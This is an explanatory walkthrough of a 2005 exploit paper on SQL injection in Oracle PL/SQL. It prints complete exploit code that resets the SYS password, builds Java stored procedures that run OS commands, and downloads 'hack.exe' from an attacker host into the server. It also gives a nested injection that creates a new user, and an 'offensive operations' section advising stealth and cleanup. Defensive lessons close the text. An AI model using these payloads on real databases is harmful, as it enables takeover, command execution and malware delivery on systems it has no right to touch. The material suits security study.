Oracle Database PL/SQL SQL Injection Exploitation: A Deep Dive

Oracle Database PL/SQL SQL Injection Exploitation: A Deep Dive
What this paper is
This paper, published in 2005, details several advanced SQL injection techniques targeting Oracle databases. The author, Esteban Fayo, demonstrates how to leverage SQL injection vulnerabilities within PL/SQL (Procedural Language/SQL) to achieve significant impacts, including:
- Privilege Escalation: Gaining SYS user privileges by altering the SYS user's password.
- OS Command Execution: Running operating system commands on the database server.
- File Upload: Transferring files from a remote attacker-controlled server to the database server.
- Arbitrary Code Execution: Executing arbitrary PL/SQL code, such as creating new users.
The core of these exploits relies on injecting malicious SQL code into vulnerable PL/SQL procedures or functions, often through parameters that are not properly sanitized.
Simple technical breakdown
Oracle databases use PL/SQL to extend SQL with procedural logic. This allows for complex operations within the database. However, if user-supplied input is directly incorporated into PL/SQL statements without proper validation or escaping, it can lead to SQL injection.
The paper exploits a specific procedure named SYS.SQLIVULN. This procedure takes a VARCHAR2 parameter (P_JOB) and uses it within an EXECUTE IMMEDIATE statement to query the SCOTT.EMP table. The vulnerability lies in how P_JOB is concatenated into the SQL string:
EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;An attacker can craft the P_JOB parameter to break out of the intended string literal and inject their own SQL commands. The paper demonstrates several ways to achieve this, often by calling custom-created PL/SQL functions or procedures that perform the malicious actions.
Key concepts used:
EXECUTE IMMEDIATE: A PL/SQL statement that allows dynamic execution of SQL statements. This is the primary mechanism for injecting and running arbitrary SQL.AUTHID CURRENT_USER: This clause in a PL/SQL function or procedure means it executes with the privileges of the user who calls it, not the definer of the object. This is crucial for privilege escalation.PRAGMA AUTONOMOUS_TRANSACTION: This allows a PL/SQL subprogram to commit or rollback its own transaction independently of the main transaction. This is often used to ensure that injected DDL (Data Definition Language) or DML (Data Manipulation Language) statements are committed.- Java Stored Procedures: Oracle allows Java code to be stored and executed within the database. The paper leverages this to execute OS commands and upload files.
Complete code and payload walkthrough
The paper presents several distinct exploit scenarios, each with its own set of PL/SQL code. We will break down each major section.
Section 1: Changing the SYS Password
This section focuses on gaining SYS privileges by changing the SYS user's password.
1.1. CREATE TABLE "SCOTT"."PSW_DATA"
CREATE TABLE "SCOTT"."PSW_DATA" ("USERNAME" VARCHAR2(32 byte) NOT NULL,
"PSW_HASH" VARCHAR2(30 byte) NOT NULL);- Purpose: This table is optional but recommended. It's used to store the original password hash of the SYS user before it's changed. This allows for restoration later.
- Inputs: None.
- Behavior: Creates a table named
PSW_DATAin theSCOTTschema with two columns:USERNAMEto store the username (e.g., 'SYS') andPSW_HASHto store the encrypted password. - Output: A new table is created in the database.
1.2. CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW"
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW" return varchar2
authid current_user as
pragma autonomous_transaction;
ROW_COUNT NUMERIC;
PSW VARCHAR2(30);
BEGIN
EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM SCOTT.PSW_DATA' INTO ROW_COUNT;
IF (ROW_COUNT <= 0) THEN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.PSW_DATA select username,
password from dba_users where username=''SYS''';
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY newpsw';
END IF;
COMMIT;
RETURN '';
END;
/- Purpose: This function is designed to change the SYS user's password to 'newpsw' and, if the
PSW_DATAtable is used, to back up the original SYS password hash. It's intended to be called via SQL injection. authid current_user: Crucially, this means the function runs with the privileges of the user executing it. If executed by a low-privilege user, it will attempt to perform these actions with those limited privileges. However, theALTER USER SYScommand requires SYSDBA privileges.pragma autonomous_transaction: Allows the function to commit its changes independently of the calling transaction.ROW_COUNT NUMERIC; PSW VARCHAR2(30);: Declaration of local variables.ROW_COUNTwill store the count of rows inPSW_DATA.PSWis declared but not used in this version.EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM SCOTT.PSW_DATA' INTO ROW_COUNT;: Checks if any data exists in thePSW_DATAtable.IF (ROW_COUNT <= 0) THEN ... END IF;: This block executes only ifPSW_DATAis empty.EXECUTE IMMEDIATE 'INSERT INTO SCOTT.PSW_DATA select username, password from dba_users where username=''SYS''';: IfPSW_DATAis empty, this statement attempts to insert the username 'SYS' and its current password hash from thedba_usersview into thePSW_DATAtable. This requiresSELECTprivilege ondba_users.EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY newpsw';: This is the core action. It attempts to change the SYS user's password to 'newpsw'. This command requires SYSDBA privileges.
COMMIT;: Commits the transaction (e.g., the insert intoPSW_DATAand the password change).RETURN '';: Returns an empty string, as required by the function signature.
1.3. CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW"
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW" return varchar2
authid current_user as
pragma autonomous_transaction;
PSW_HASH VARCHAR2(30);
BEGIN
EXECUTE IMMEDIATE 'SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE
USERNAME = ''SYS''' INTO PSW_HASH;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES ''' || PSW_HASH || '''';
EXECUTE IMMEDIATE 'DELETE FROM SCOTT.PSW_DATA where username=''SYS''';
COMMIT;
RETURN '';
END;
/- Purpose: This function restores the SYS user's password to its original value, using the hash stored in the
PSW_DATAtable. authid current_user: Executes with the caller's privileges.pragma autonomous_transaction: Allows independent transaction management.PSW_HASH VARCHAR2(30);: Declares a variable to hold the retrieved password hash.EXECUTE IMMEDIATE 'SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE USERNAME = ''SYS''' INTO PSW_HASH;: Retrieves the stored password hash for the SYS user from thePSW_DATAtable. This requiresSELECTprivilege onPSW_DATA.EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES ''' || PSW_HASH || '''';: This is the critical command to restore the password.IDENTIFIED BY VALUESallows setting a password using its hash. This command requires SYSDBA privileges.EXECUTE IMMEDIATE 'DELETE FROM SCOTT.PSW_DATA where username=''SYS''';: Removes the entry for SYS from thePSW_DATAtable after restoration. RequiresDELETEprivilege onPSW_DATA.COMMIT;: Commits the transaction.RETURN '';: Returns an empty string.
1.4. Exploitation Calls
-- To change the SYS password execute:
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_CHANGEPSW()||''');
-- To restore the SYS password execute:
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_RESTOREPSW()||''');- Purpose: These lines show how to trigger the malicious functions by injecting them into the vulnerable
SYS.SQLIVULNprocedure. EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_CHANGEPSW()||''');:- The
P_JOBparameter forSYS.SQLIVULNis'MANAGER''||SCOTT.SQLI_CHANGEPSW()||''. - When
SYS.SQLIVULNexecutesEXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;, theP_JOBpart is substituted. - The original SQL would look something like:
SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = 'MANAGER'. - With the injection, it becomes:
SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = 'MANAGER' || SCOTT.SQLI_CHANGEPSW() || ''. - The
SCOTT.SQLI_CHANGEPSW()function is executed. If it successfully changes the password, it returns an empty string. The resulting SQL executed bySYS.SQLIVULNwould effectively becomeSELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = 'MANAGER'. The malicious side effect is the password change.
- The
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_RESTOREPSW()||''');:- Similar to the above, but calls
SCOTT.SQLI_RESTOREPSW()to revert the password.
- Similar to the above, but calls
Section 2: Executing OS Command with SQL Injection
This section demonstrates how to execute arbitrary OS commands on the database server by leveraging Java Stored Procedures.
2.1. CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 authid current_user as ... END; /
This is a large function that dynamically creates Java source code and a corresponding stored procedure.
Purpose: To create and grant execution rights for a Java stored procedure that can execute OS commands.
authid current_user: Executes with the caller's privileges.pragma autonomous_transaction: Allows independent transaction commits.SqlCommand VARCHAR2(2048);: Variable to hold SQL commands.Java Source Creation:
SqlCommand := ' CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS import java.lang.*; import java.io.*; public class ExecuteOS { public static void printFile (String fileName) throws IOException { File fileOut; FileReader fileReaderOut; BufferedReader buffReader; String strRead; fileOut = new File (fileName); fileReaderOut = new FileReader (fileOut); buffReader = new BufferedReader(fileReaderOut); while ((strRead = buffReader.readLine()) != null) System.out.println(strRead); } public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException { String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd}; System.out.println("==========\r\nExecuting OS command..."); Process p = Runtime.getRuntime().exec(strCmd); p.waitFor(); System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:"); printFile ("c:\\stdout.txt"); System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:"); printFile ("c:\\stderr.txt"); } }'; execute immediate SqlCommand;- Purpose: This block defines the Java source code for a class named
ExecuteOS. printFile(String fileName): A helper method to read and print the content of a specified file to the database's output stream (DBMS_OUTPUT). It reads the file line by line.execOSCmd(String cmd): The main method for executing OS commands.String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};: This is the command array passed toRuntime.getRuntime().exec().cmd.exe /c: Executes the command and then terminates.1>c:\\stdout.txt: Redirects standard output toc:\stdout.txt.2>c:\\stderr.txt: Redirects standard error toc:\stderr.txt.cmd: The actual OS command to be executed (passed as an argument).
Process p = Runtime.getRuntime().exec(strCmd);: Executes the OS command.p.waitFor();: Waits for the command to complete.- The code then prints messages and uses
printFileto display the contents ofc:\stdout.txtandc:\stderr.txt.
execute immediate SqlCommand;: Executes the PL/SQL statement to create this Java source in the database. This requires privileges to create Java sources.
- Purpose: This block defines the Java source code for a class named
Java Stored Procedure Creation:
SqlCommand := ' CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2) AS LANGUAGE JAVA NAME ''ExecuteOS.execOSCmd (java.lang.String)'';'; execute immediate SqlCommand;- Purpose: This block creates a PL/SQL procedure named
PROC_EXECUTEOSthat acts as a wrapper for the JavaExecuteOS.execOSCmdmethod. AS LANGUAGE JAVA NAME ''ExecuteOS.execOSCmd (java.lang.String)'';: This links the PL/SQL procedure to the Java method. It specifies thatPROC_EXECUTEOSwill call theexecOSCmdmethod of theExecuteOSJava class, passing a singleStringargument.execute immediate SqlCommand;: Executes the PL/SQL statement to create this procedure. Requires privileges to create procedures.
- Purpose: This block creates a PL/SQL procedure named
Granting Execute Privilege:
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';- Purpose: Grants the
EXECUTEprivilege on the newly createdPROC_EXECUTEOSprocedure to theSCOTTuser. This allows theSCOTTuser (or any user that can inject code throughSCOTT) to call this procedure.
- Purpose: Grants the
Commit and Return:
commit; -- Must do a commit return ''; -- Must return a value END; /- Purpose: Commits the changes (Java source, procedure creation, grant) and returns an empty string.
2.2. Exploitation Calls
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection.
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
/
SET SERVEROUTPUT ON
/
CALL dbms_java.set_output(1999);
/
EXEC sys.proc_executeos ('dir');- Purpose: This sequence demonstrates how to trigger the OS command execution.
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');:- This call injects the
SCOTT.SQLI()function intoSYS.SQLIVULN. - The
SCOTT.SQLI()function, when executed, performs the Java source and procedure creation, and grants execute permissions. It returns an empty string, so theSYS.SQLIVULNcall effectively becomesSELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = 'MANAGER'.
- This call injects the
SET SERVEROUTPUT ONandCALL dbms_java.set_output(1999);: These are standard Oracle SQL*Plus commands to enable and set the buffer size forDBMS_OUTPUT, which is used by the Java code to display command output.EXEC sys.proc_executeos ('dir');:- This is the final step. Assuming the previous injection was successful and
PROC_EXECUTEOSis available (either directly or via injection), this command executes thedircommand on the database server. - The output and errors of the
dircommand will be written toc:\stdout.txtandc:\stderr.txton the server and then displayed viaDBMS_OUTPUT.
- This is the final step. Assuming the previous injection was successful and
Section 3: Arbitrary PL/SQL Execution (User Creation Example)
This section shows a simpler SQL injection to execute arbitrary PL/SQL code, using the creation of a new user as an example.
3.1. CREATE OR REPLACE PROCEDURE "SYS"."SQLIVULN"
CREATE OR REPLACE PROCEDURE "SYS"."SQLIVULN" (P_JOB VARCHAR2)
AS
AVGSAL Numeric;
BEGIN
EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;
DBMS_OUTPUT.PUT_LINE('Average salary for the job is: '||AVGSAL);
END;
/
GRANT EXECUTE ON "SYS"."SQLIVULN" TO "SCOTT"
/- Purpose: This defines the vulnerable procedure
SYS.SQLIVULNitself. It's provided here for completeness, showing its structure and how it's granted to theSCOTTuser. EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;: The vulnerable statement.GRANT EXECUTE ON "SYS"."SQLIVULN" TO "SCOTT": Grants theSCOTTuser the ability to execute this procedure.
3.2. CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 ... END; /
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
BEGIN
execute immediate 'INSERT INTO SYS.PPT (PPC) VALUES (''55'')';
commit;
return '';
END;
/- Purpose: This function is designed to perform an arbitrary PL/SQL action when injected. In this specific example, it attempts to insert a value into a table named
SYS.PPT. This table is not standard and likely needs to exist for this to work. authid current_user: Executes with the caller's privileges.execute immediate 'INSERT INTO SYS.PPT (PPC) VALUES (''55'')';: The injected SQL command. It attempts to insert the string '55' into thePPCcolumn of theSYS.PPTtable. This requiresINSERTprivilege onSYS.PPT.commit;: Commits the insert.return '';: Returns an empty string.
3.3. Exploitation Call
--To exploit
EXEC SYS.SQLIVULN('MANAGER'' || SCOTT.SQLI() || ''');
-- This gives an Oracle Error- Purpose: This demonstrates how to inject the
SCOTT.SQLI()function intoSYS.SQLIVULN. EXEC SYS.SQLIVULN('MANAGER'' || SCOTT.SQLI() || ''');:- The
P_JOBparameter becomes'MANAGER'' || SCOTT.SQLI() || ''. - When
SYS.SQLIVULNexecutes, it will try to runSELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = 'MANAGER' || SCOTT.SQLI() || ''. - The
SCOTT.SQLI()function executes, attempting to insert intoSYS.PPT. - If
SYS.PPTdoesn't exist or the user lacks privileges, this will result in an Oracle error. The paper notes this. The intent is to show that arbitrary PL/SQL can be executed.
- The
Section 4: Uploading a File with SQL Injection
This section builds upon the OS command execution by creating a Java stored procedure to download a file from a remote URL to the database server.
4.1. CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 authid current_user as ... END; /
Similar to Section 2, this function dynamically creates Java source code and a PL/SQL wrapper procedure.
Purpose: To create and grant execution rights for a Java stored procedure that can download files.
authid current_user: Executes with the caller's privileges.pragma autonomous_transaction: Allows independent transaction commits.SqlCommand VARCHAR2(2048);: Variable to hold SQL commands.Java Source Creation:
SqlCommand := ' CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS import java.lang.*; import java.io.*; public class FileUpload { public static void fileUpload(String myFile, String url) throws Exception { File binaryFile = new File(myFile); FileOutputStream outStream = new FileOutputStream(binaryFile); java.net.URL u = new java.net.URL(url); java.net.URLConnection uc = u.openConnection(); InputStream is = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (is)); byte buffer[] = new byte[1024]; int length = -1; while ((length = is.read(buffer)) != -1) { outStream.write(buffer, 0, length); outStream.flush(); } is.close(); outStream.close(); } };'; execute immediate SqlCommand;- Purpose: Defines the Java source code for a class named
FileUpload. fileUpload(String myFile, String url): The core method.File binaryFile = new File(myFile);: Creates aFileobject representing the destination path on the server (myFile).FileOutputStream outStream = new FileOutputStream(binaryFile);: Opens an output stream to write to the specified file.java.net.URL u = new java.net.URL(url);: Creates a URL object from the providedurl.java.net.URLConnection uc = u.openConnection();: Opens a connection to the URL.InputStream is = (InputStream)uc.getInputStream();: Gets an input stream from the URL connection to read the remote file's content.BufferedReader in = new BufferedReader (new InputStreamReader (is));: Creates a reader for text, but the code then reads bytes. This part is slightly inconsistent; it should ideally useInputStreamdirectly for binary data. However, theread(byte buffer[])call correctly handles bytes.byte buffer[] = new byte[1024]; int length = -1;: Sets up a buffer for reading data in chunks.while ((length = is.read(buffer)) != -1) { outStream.write(buffer, 0, length); outStream.flush(); }: Reads data from the URL's input stream into the buffer and writes it to the output file stream. This loop continues until the end of the stream is reached.is.close(); outStream.close();: Closes the streams.
execute immediate SqlCommand;: Creates the Java source in the database. Requires privileges to create Java sources.
- Purpose: Defines the Java source code for a class named
Java Stored Procedure Creation:
SqlCommand := ' CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2) AS LANGUAGE JAVA NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';'; execute immediate SqlCommand;- Purpose: Creates a PL/SQL procedure
PROC_FILEUPLOADthat wraps the JavaFileUpload.fileUploadmethod. AS LANGUAGE JAVA NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';: Links the PL/SQL procedure to the Java method, expecting twoStringarguments.execute immediate SqlCommand;: Creates the procedure. Requires privileges to create procedures.
- Purpose: Creates a PL/SQL procedure
Granting Execute Privilege:
execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';- Purpose: Grants
EXECUTEonPROC_FILEUPLOADto theSCOTTuser.
- Purpose: Grants
Commit and Return:
commit; -- Must do a commit return ''; -- Must return a value END; /- Purpose: Commits changes and returns an empty string.
4.2. Exploitation Calls
SET SERVEROUTPUT ON
/
CALL dbms_java.set_output(1999);
/
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection.
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
/
-- Call the procedure created in the SQL Injection
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe');- Purpose: This sequence shows how to first set up the file upload capability and then use it.
SET SERVEROUTPUT ONandCALL dbms_java.set_output(1999);: EnableDBMS_OUTPUT.EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');:- This injects the
SCOTT.SQLI()function intoSYS.SQLIVULN. - The
SCOTT.SQLI()function executes, creating theFileUploadJava source, thePROC_FILEUPLOADprocedure, and granting execute rights. It returns an empty string.
- This injects the
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe');:- This command calls the newly created
PROC_FILEUPLOADprocedure. 'c:\hack.exe'is the target path and filename on the database server where the downloaded file will be saved.'http://hackersite/hack.exe'is the URL from which the file will be downloaded. The attacker would host the malicious executable (e.g., a backdoor) at this URL.
- This command calls the newly created
Section 5: Vulnerable Function with AUTHID CURRENT_USER
This section presents a different type of vulnerability: a function defined with AUTHID CURRENT_USER that is vulnerable to SQL injection within an anonymous PL/SQL block.
5.1. CREATE OR REPLACE FUNCTION "SYS"."SQLIVULN_CUR_USR"
CREATE OR REPLACE FUNCTION "SYS"."SQLIVULN_CUR_USR" (P_JOB VARCHAR2)
return VARCHAR2
authid current_user as
AVGSAL Numeric;
BEGIN
EXECUTE IMMEDIATE 'BEGIN SELECT AVG(SAL) INTO :AVGSAL FROM SCOTT.EMP
WHERE JOB = '''||P_JOB||'''; END;' USING OUT AVGSAL;
return '';
END;
/
GRANT EXECUTE ON "SYS"."SQLIVULN_CUR_USR" TO "SCOTT"
/- Purpose: This function is designed to be vulnerable to SQL injection. It executes a PL/SQL block dynamically.
authid current_user: This is key. The function runs with the privileges of the user calling it.EXECUTE IMMEDIATE 'BEGIN SELECT AVG(SAL) INTO :AVGSAL FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''; END;' USING OUT AVGSAL;:- This statement executes a PL/SQL anonymous block.
- The
P_JOBparameter is concatenated into theWHEREclause of theSELECTstatement. USING OUT AVGSALis used to bind the output variableAVGSALfrom the inner PL/SQL block.- The vulnerability lies in the concatenation of
P_JOBwithout proper sanitization.
5.2. Exploitation Call
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection.
-- To Exploit the attacker could execute:
EXEC SYS.SQLIVULN('MANAGER''||SYS.SQLIVULN_CUR_USR(''AA''''; execute immediate
''''declare pragma autonomous_transaction; begin execute immediate ''''''''create
user eric identified by newpsw''''''''; commit; end;''''; end;--'')||''');- Purpose: This is a complex injection that leverages both
SYS.SQLIVULNand the newly definedSYS.SQLIVULN_CUR_USRto execute arbitrary PL/SQL code. - Breakdown of the injected string:
'MANAGER'': This part is intended to be theP_JOBvalue forSYS.SQLIVULN. The double single quote closes the string literal forJOB.||SYS.SQLIVULN_CUR_USR(: This concatenates the call toSYS.SQLIVULN_CUR_USR.'AA''': This is theP_JOBargument forSYS.SQLIVULN_CUR_USR. The triple single quote is interesting. It likely intends to close the string literal forP_JOBwithinSYS.SQLIVULN_CUR_USRand then start a new SQL statement.; execute immediate: This is the start of the injected malicious PL/SQL.''''declare pragma autonomous_transaction; begin execute immediate ''''''''create user eric identified by newpsw''''''''; commit; end;''''; end;--': This is the core payload. Let's break it down further:- The outer
''''are likely to escape the single quotes forEXECUTE IMMEDIATEwithin theSYS.SQLIVULN_CUR_USRfunction. declare pragma autonomous_transaction; begin ... end;defines an anonymous PL/SQL block.execute immediate ''''''''create user eric identified by newpsw'''''''';This is the command to create a new user. The quadruple single quotes are used to escape the single quotes for theCREATE USERstatement itself. The statement being executed isCREATE USER eric IDENTIFIED BY newpsw.commit;: Commits the user creation.end;: Ends the anonymous PL/SQL block.
- The outer
||'': This closes the concatenation forSYS.SQLIVULN.
- Execution Flow:
SYS.SQLIVULNis called with a craftedP_JOB.- The
P_JOBvalue is concatenated into theEXECUTE IMMEDIATEstatement withinSYS.SQLIVULN. - The injected string causes
SYS.SQLIVULN_CUR_USRto be called. - Inside
SYS.SQLIVULN_CUR_USR, itsP_JOBparameter is concatenated into itsEXECUTE IMMEDIATEstatement. - The injected PL/SQL code (creating the user
eric) is executed. - The
AUTHID CURRENT_USERonSYS.SQLIVULN_CUR_USRis critical here. IfSCOTT(the caller) has the privilege to create users, this injection will succeed. IfSCOTTdoes not have this privilege, theCREATE USERstatement will fail, but the injection mechanism still works.
Section 6: SYS.SQLIVULN Procedure Definition (for reference)
This section is a repeat of Section 3.1, providing the definition of the SYS.SQLIVULN procedure for context.
Practical details for offensive operations teams
Required Access Level:
- Initial Access: A low-privilege user account within the Oracle database is typically required (e.g., a user with
CREATE SESSIONandEXECUTEonSYS.SQLIVULN). - Privilege Escalation: To achieve SYSDBA privileges (as in Section 1), the attacker needs to be able to execute
ALTER USER SYS IDENTIFIED BY ...orALTER USER SYS IDENTIFIED BY VALUES .... This command requires SYSDBA privileges. If the low-privilege user cannot directly execute these commands, theAUTHID CURRENT_USERmechanism in the injected functions/procedures is crucial. The attacker must ensure the calling user has the necessary privileges for the injected code to execute successfully. - OS Command Execution/File Upload: Requires privileges to create Java sources and procedures (
CREATE JAVA,CREATE PROCEDURE), and to grant privileges (GRANT ANY OBJECT). These are typically held by administrative users. TheAUTHID CURRENT_USERon the injected Java wrapper procedure is key to allowing a lower-privileged user to trigger OS-level actions if the database user has the necessary Java privileges.
- Initial Access: A low-privilege user account within the Oracle database is typically required (e.g., a user with
Lab Preconditions:
- An Oracle database instance (e.g., Oracle 9i, 10g, or later versions that still support these features and have the vulnerable
SYS.SQLIVULNprocedure or a similar construct). - The
SCOTTschema and itsEMPtable must exist and be accessible. - The
SYS.SQLIVULNprocedure must exist and be executable by the attacker's user. - For Section 1, the
SCOTT.PSW_DATAtable needs to be creatable or already exist. - For Section 2 and 4, the database must have Java Virtual Machine (JVM) enabled and the necessary privileges for creating Java sources and procedures.
- For Section 3, the
SYS.PPTtable must exist and be writable by the attacker's user for the specific example to work.
- An Oracle database instance (e.g., Oracle 9i, 10g, or later versions that still support these features and have the vulnerable
Tooling Assumptions:
- An Oracle SQL client (e.g., SQL*Plus, SQL Developer, or a custom scriptable client) capable of executing SQL and PL/SQL statements.
- Network connectivity from the attacker's machine to the database server if file upload is involved.
- A web server to host malicious files for the file upload exploit.
Execution Pitfalls:
- Privilege Checks: The most common failure point. If the user executing the injected code does not have the necessary privileges (e.g.,
ALTER USER,CREATE JAVA,CREATE PROCEDURE,GRANT ANY OBJECT), the exploit will fail. TheAUTHID CURRENT_USERcan be a double-edged sword; it allows privilege escalation if the caller has higher privileges, but it also means the exploit will fail if the caller's privileges are insufficient. - Object Existence: The exploits rely on specific objects (
SYS.SQLIVULN,SCOTT.EMP,SCOTT.PSW_DATA,SYS.PPT, Java sources, stored procedures). If these are missing or have different names, the exploit will fail. - Database Version/Configuration: Oracle versions and specific configurations can alter the availability of features like Java stored procedures or the presence of default vulnerable procedures.
- SQL Injection Sanitization: Modern Oracle databases and applications are more likely to have input validation and sanitization, which would prevent the basic string concatenation used here.
SYS.SQLIVULNVulnerability: The paper assumesSYS.SQLIVULNis vulnerable as described. If this procedure has been patched or is not present, the primary injection vector is lost.PRAGMA AUTONOMOUS_TRANSACTION: While useful for committing injected DDL/DML, it can sometimes be restricted by security policies.- File Paths: Hardcoded file paths like
c:\stdout.txtorc:\hack.exeare Windows-specific. On Linux/Unix systems, paths would need to be adjusted (e.g.,/tmp/stdout.txt). The database server's OS is unknown without further reconnaissance. - Network Access: For file upload, the database server must be able to initiate outbound HTTP connections to the attacker's web server. Firewalls or network segmentation can block this.
- Privilege Checks: The most common failure point. If the user executing the injected code does not have the necessary privileges (e.g.,
Tradecraft Considerations:
- Stealth: Creating Java sources and procedures can be noisy. Performing these actions during maintenance windows or when the database is less active is advisable.
- Cleanup: After achieving objectives, consider removing created Java sources, procedures, and tables to reduce the forensic footprint. However, this might also remove evidence of the compromise.
- Payload Delivery: For OS command execution, redirecting output to temporary files (
c:\stdout.txt) is a common technique. For more persistent access, the file upload exploit would be used to deliver a more sophisticated payload. - User Creation: Creating new users can be a direct indicator. Using
AUTHID CURRENT_USERto leverage existing high-privilege accounts is stealthier than creating new ones if the goal is just to execute commands. - Error Handling: The attacker must be able to interpret Oracle errors to understand if their injection is working or failing.
Where this was used and when
- Context: This paper was published in 2005. At that time, SQL injection was a prevalent vulnerability, and Oracle databases were widely deployed in enterprise environments.
- Usage: The techniques described were likely used by penetration testers and potentially by malicious actors against Oracle databases that had these specific vulnerabilities. The paper itself serves as a proof-of-concept and educational material demonstrating advanced SQL injection capabilities.
- Timeframe: The techniques are characteristic of exploits from the early to mid-2000s. While the specific
SYS.SQLIVULNprocedure might not be present in modern Oracle versions, the underlying principles of SQL injection in PL/SQL and the use of Java stored procedures remain relevant for understanding potential vulnerabilities in older or unpatched systems.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is paramount. Never concatenate user-supplied input directly into SQL or PL/SQL statements. Use bind variables for dynamic queries and carefully validate/sanitize any input used in dynamic SQL.
- Principle of Least Privilege: Database users should only have the minimum privileges necessary to perform their tasks. Avoid granting broad privileges like
CREATE ANY PROCEDURE,CREATE ANY JAVA, orSYSDBAto application or low-privilege users. - Secure PL/SQL Development:
- Avoid
EXECUTE IMMEDIATEwith concatenated strings whenever possible. If dynamic SQL is unavoidable, useDBMS_ASSERTor other validation functions to ensure input is safe. - Be cautious with
AUTHID CURRENT_USER. Understand the implications of executing code with the caller's privileges. - Regularly audit database user privileges and roles.
- Avoid
- Database Patching: Keep Oracle database software and components (including JVM) up-to-date with security patches. Oracle regularly releases patches to address known vulnerabilities.
- Network Segmentation: Restrict outbound network connections from database servers. This can prevent database servers from connecting to attacker-controlled URLs for file uploads or command callbacks.
- Database Auditing: Implement robust database auditing to log sensitive operations like
CREATE PROCEDURE,CREATE JAVA,ALTER USER, andEXECUTEstatements. This can help detect and investigate malicious activity. - Web Application Firewalls (WAFs): While not directly protecting the database, WAFs can prevent malicious SQL injection payloads from reaching the application layer that interacts with the database.
ASCII visual (if applicable)
+-------------------+ +---------------------+ +---------------------+
| Attacker's Machine| --> | Oracle Database | --> | OS Level (via Java) |
| (SQL Client) | | Server | | |
+-------------------+ +---------------------+ +---------------------+
| |
| 1. Inject malicious | 3. Java SP executes
| PL/SQL via | OS command or
| SYS.SQLIVULN | downloads file
| |
| |
v v
+-------------------+ +---------------------+
| SQL Injection | --> | PL/SQL Functions/ |
| Vector | | Procedures |
| (e.g., SYS.SQLIVULN)| | (e.g., SCOTT.SQLI) |
+-------------------+ +---------------------+
|
| 2. Creates Java Source
| and Procedure
|
v
+-----------------+
| Java Stored |
| Procedure |
| (e.g., PROC_...) |
+-----------------+Explanation:
- The attacker uses a SQL client to send a specially crafted SQL statement to the Oracle database. This statement targets a vulnerable entry point like
SYS.SQLIVULN. - The injected PL/SQL code within the statement executes. This code typically creates new Java source code and a PL/SQL wrapper procedure. It might also grant necessary privileges.
- Once the Java Stored Procedure is created and accessible, the attacker can call it (again, potentially through another SQL injection or directly if privileges allow). This Java procedure then interacts with the underlying operating system of the database server to execute commands or download files.
Source references
- PAPER ID: 933
- PAPER TITLE: Oracle Database PL/SQL Statement - Multiple SQL Injections
- AUTHOR: Esteban Fayo
- PUBLISHED: 2005-04-13
- KEYWORDS: Windows,local
- PAPER URL: https://www.exploit-db.com/papers/933
- RAW URL: https://www.exploit-db.com/raw/933
